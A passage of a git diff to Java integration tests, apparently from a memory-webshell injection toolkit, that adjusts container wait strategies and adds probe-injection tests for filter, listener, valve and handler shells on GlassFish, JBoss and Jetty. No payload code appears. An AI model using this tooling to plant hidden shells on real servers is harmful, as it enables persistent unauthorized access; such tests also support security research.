com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -45,7 +48,7 @@ public class GlassFish501ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); static Stream casesProvider() { @@ -61,6 +64,11 @@ static Stream casesProvider() { return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); + } + @AfterAll static void tearDown() { String logs = container.getLogs(); @@ -73,4 +81,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java index 3b424ebc..40bc6e31 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java @@ -1,15 +1,18 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -45,7 +48,7 @@ public class GlassFish510ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); static Stream casesProvider() { @@ -61,6 +64,11 @@ static Stream casesProvider() { return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); + } + @AfterAll static void tearDown() { String logs = container.getLogs(); @@ -73,4 +81,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java index 20ea2f0b..6ae7e92b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -8,9 +9,11 @@ import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -22,9 +25,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason @@ -46,7 +47,7 @@ public class GlassFish6ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); static Stream casesProvider() { @@ -62,11 +63,16 @@ static Stream casesProvider() { return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); + } + @AfterAll static void tearDown() { String logs = container.getLogs(); log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @@ -74,4 +80,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java index 783623aa..1ea0adc1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -8,9 +9,11 @@ import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -46,7 +49,7 @@ public class GlassFish7ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*startup time.*", 1)) + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); static Stream casesProvider() { @@ -62,6 +65,11 @@ static Stream casesProvider() { return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } + @BeforeAll + static void setup() { + container.waitingFor(Wait.forHttp("/app/test")); + } + @AfterAll static void tearDown() { String logs = container.getLogs(); @@ -74,4 +82,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java index 4090ace7..4b259829 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,14 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java index 746de6a7..f040012d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -76,4 +78,14 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java index 5d980576..180f87a6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -72,4 +74,14 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java index 5b6cee8b..c221d170 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,14 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_7); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java index 2674f798..b3275bda 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbosseap; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,14 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java index 85efdb2e..9d98c5df 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbosseap; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -72,4 +74,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap81ContainerTest.java new file mode 100644 index 00000000..0e2bb2ef --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap81ContainerTest.java @@ -0,0 +1,89 @@ +package com.reajason.javaweb.integration.memshell.jbosseap; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class JbossEap81ContainerTest { + public static final String imageName = "reajason/jboss:eap-8.1-jdk17"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/jboss/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + String server = Server.Undertow; + List supportedShellTypes = List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + ); + List testPackers = List.of(Packers.JSP); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, + null, List.of(ShellTool.AntSword) // AntSword not support jakarta + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V17); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java index 97c85518..c1eb9af4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,8 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -70,6 +74,17 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V11); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java index b7d3b4bf..6bd22172 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -55,6 +57,8 @@ static Stream casesProvider() { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -72,6 +76,17 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java index ea0d218b..055f0a76 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -55,6 +57,7 @@ static Stream casesProvider() { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); @@ -72,6 +75,16 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java index 0c61aaae..038ea252 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -55,6 +57,7 @@ static Stream casesProvider() { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); @@ -73,6 +76,16 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + 